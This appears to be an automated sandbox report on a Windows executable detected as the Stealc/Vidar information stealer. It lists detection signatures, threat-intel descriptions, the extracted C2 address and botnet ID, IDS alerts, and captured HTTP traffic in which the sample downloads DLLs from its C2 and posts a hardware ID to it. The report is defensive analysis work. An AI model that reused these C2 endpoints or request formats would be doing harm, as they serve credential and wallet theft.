Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538414
MD5:	17bdf25c7e2bf9713c7df0933069db44
SHA1:	453c0adabd283ca3b0b2a0257c2639187f2e0e7f
SHA256:	d82c52dcd1fac4f4ac9b35323db396f185d5598e1a09a63f26559b1cea1869af
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7636 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 17BDF25C7E2BF9713C7DF0933069DB44)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1709937283.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7636	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7636	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7636	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7636	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1000000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:06.079292+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:06.073202+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:06.358233+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:07.479655+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:06.366829+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:05.788349+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T09:06:08.425933+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:16.852585+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:18.643242+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:19.688536+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:20.377116+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:22.085278+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-21T09:06:22.521975+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

Code function: 0_2_01005100 lstrlen,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,GetProcessHeap,RtlAllocateHeap,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_01005100

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 46 44 46 36 34 31 46 39 35 30 34 33 34 37 39 32 32 31 31 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"BFDF641F95043479221132------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"doma------ECGHCBGCBFHIIDHIJKFB--

Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllF
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dlln
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll&
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllJ
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllX
Source: file.exe, 00000000.00000002.1983612391.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlld
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll4
Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllX
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllr
Source: file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpERmi
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpHzibE
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpNT
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpVB
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpes
Source: file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnomi
Source: file.exe, 00000000.00000002.1983612391.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpp?
Source: file.exe, 00000000.00000002.1983612391.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ik
Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37D
Source: file.exe, 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2005730858.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1995464192.000000001D694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: EGDAEBGI.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: EGDAEBGI.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EGDAEBGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, EGDAEBGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1822522429.000000001D59C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000003.1822522429.000000001D59C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.2003246117.0000000029623000.00000004.00000020.00020000.00000000.sdmp, DAEGIIECGHCBFHJKEHDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
